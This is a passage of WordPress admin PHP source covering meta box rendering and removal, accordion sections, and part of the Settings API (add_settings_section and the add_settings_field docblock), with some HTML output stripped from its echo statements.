if ( is_array( $box['args'] ) ) {
// If a meta box is just here for back compat, don't show it in the block editor.
if ( $screen->is_block_editor() && isset( $box['args']['__back_compat_meta_box'] ) && $box['args']['__back_compat_meta_box'] ) {
continue;
}
if ( isset( $box['args']['__block_editor_compatible_meta_box'] ) ) {
$block_compatible = (bool) $box['args']['__block_editor_compatible_meta_box'];
unset( $box['args']['__block_editor_compatible_meta_box'] );
}
// If the meta box is declared as incompatible with the block editor, override the callback function.
if ( ! $block_compatible && $screen->is_block_editor() ) {
$box['old_callback'] = $box['callback'];
$box['callback'] = 'do_block_editor_incompatible_meta_box';
}
if ( isset( $box['args']['__back_compat_meta_box'] ) ) {
$block_compatible = $block_compatible || (bool) $box['args']['__back_compat_meta_box'];
unset( $box['args']['__back_compat_meta_box'] );
}
}
++$i;
// get_hidden_meta_boxes() doesn't apply in the block editor.
$hidden_class = ( ! $screen->is_block_editor() && in_array( $box['id'], $hidden, true ) ) ? ' hide-if-js' : '';
echo '
' . "\n";
if ( WP_DEBUG && ! $block_compatible && 'edit' === $screen->parent_base && ! $screen->is_block_editor() && ! isset( $_GET['meta-box-loader'] ) ) {
$plugin = _get_plugin_from_callback( $box['callback'] );
if ( $plugin ) {
$meta_box_not_compatible_message = sprintf(
/* translators: %s: The name of the plugin that generated this meta box. */
__( 'This meta box, from the %s plugin, is not compatible with the block editor.' ),
"{$plugin['Name']}"
);
wp_admin_notice(
$meta_box_not_compatible_message,
array(
'additional_classes' => array( 'error', 'inline' ),
)
);
}
}
call_user_func( $box['callback'], $data_object, $box );
echo "
\n";
echo "
\n";
}
}
}
}
echo '
';
return $i;
}
/**
* Removes a meta box from one or more screens.
*
* @since 2.6.0
* @since 4.4.0 The `$screen` parameter now accepts an array of screen IDs.
*
* @global array $wp_meta_boxes Global meta box state.
*
* @param string $id Meta box ID (used in the 'id' attribute for the meta box).
* @param string|array|WP_Screen $screen The screen or screens on which the meta box is shown (such as a
* post type, 'link', or 'comment'). Accepts a single screen ID,
* WP_Screen object, or array of screen IDs.
* @param string $context The context within the screen where the box is set to display.
* Contexts vary from screen to screen. Post edit screen contexts
* include 'normal', 'side', and 'advanced'. Comments screen contexts
* include 'normal' and 'side'. Menus meta boxes (accordion sections)
* all use the 'side' context.
*/
function remove_meta_box( $id, $screen, $context ) {
global $wp_meta_boxes;
if ( empty( $screen ) ) {
$screen = get_current_screen();
} elseif ( is_string( $screen ) ) {
$screen = convert_to_screen( $screen );
} elseif ( is_array( $screen ) ) {
foreach ( $screen as $single_screen ) {
remove_meta_box( $id, $single_screen, $context );
}
}
if ( ! isset( $screen->id ) ) {
return;
}
$page = $screen->id;
if ( ! isset( $wp_meta_boxes ) ) {
$wp_meta_boxes = array();
}
if ( ! isset( $wp_meta_boxes[ $page ] ) ) {
$wp_meta_boxes[ $page ] = array();
}
if ( ! isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
$wp_meta_boxes[ $page ][ $context ] = array();
}
foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) {
$wp_meta_boxes[ $page ][ $context ][ $priority ][ $id ] = false;
}
}
/**
* Meta Box Accordion Template Function.
*
* Largely made up of abstracted code from do_meta_boxes(), this
* function serves to build meta boxes as list items for display as
* a collapsible accordion.
*
* @since 3.6.0
*
* @uses global $wp_meta_boxes Used to retrieve registered meta boxes.
*
* @param string|object $screen The screen identifier.
* @param string $context The screen context for which to display accordion sections.
* @param mixed $data_object Gets passed to the section callback function as the first parameter.
* @return int Number of meta boxes as accordion sections.
*/
function do_accordion_sections( $screen, $context, $data_object ) {
global $wp_meta_boxes;
wp_enqueue_script( 'accordion' );
if ( empty( $screen ) ) {
$screen = get_current_screen();
} elseif ( is_string( $screen ) ) {
$screen = convert_to_screen( $screen );
}
$page = $screen->id;
$hidden = get_hidden_meta_boxes( $screen );
?>
$id,
'title' => $title,
'callback' => $callback,
'before_section' => '',
'after_section' => '',
'section_class' => '',
);
$section = wp_parse_args( $args, $defaults );
if ( 'misc' === $page ) {
_deprecated_argument(
__FUNCTION__,
'3.0.0',
sprintf(
/* translators: %s: misc */
__( 'The "%s" options group has been removed. Use another settings group.' ),
'misc'
)
);
$page = 'general';
}
if ( 'privacy' === $page ) {
_deprecated_argument(
__FUNCTION__,
'3.5.0',
sprintf(
/* translators: %s: privacy */
__( 'The "%s" options group has been removed. Use another settings group.' ),
'privacy'
)
);
$page = 'reading';
}
$wp_settings_sections[ $page ][ $id ] = $section;
}
/**
* Adds a new field to a section of a settings page.
*
* Part of the Settings API. Use this to define a settings field that will show
* as part of a settings section inside a settings page. The fields are shown using
* do_settings_fields() in do_settings_sections().
*
* The $callback argument should be the name of a function that echoes out the
* HTML input tags for this setting field. Use get_option() to retrieve existing
* values to show.
*
* @since 2.7.0
* @since 4.2.0 The `$class` argument was added.
*
* @global array $wp_settings_fields Storage array of settings fields and info about their pages/sections.
*
* @param string $id Slug-name to identify the field. Used in the 'id' attribute of tags.
* @param string $title Formatted title of the field. Shown as the label for the field
* during output.
* @param callable $callback Function that fills the field with the desired form inputs. The
* function should echo its output.
* @param string $page The slug-name of the settings page on which to show the section
* (general, reading, writing, ...).
* @param string $section Optional. The slug-name of the section of the settings page
* in which to show the box. Default 'default'.
* @param array $args {
* Optional. Extra arguments that get passed to the callback function.
*
* @type string $label_for When supplied, the setting title will be wrapped
* in a `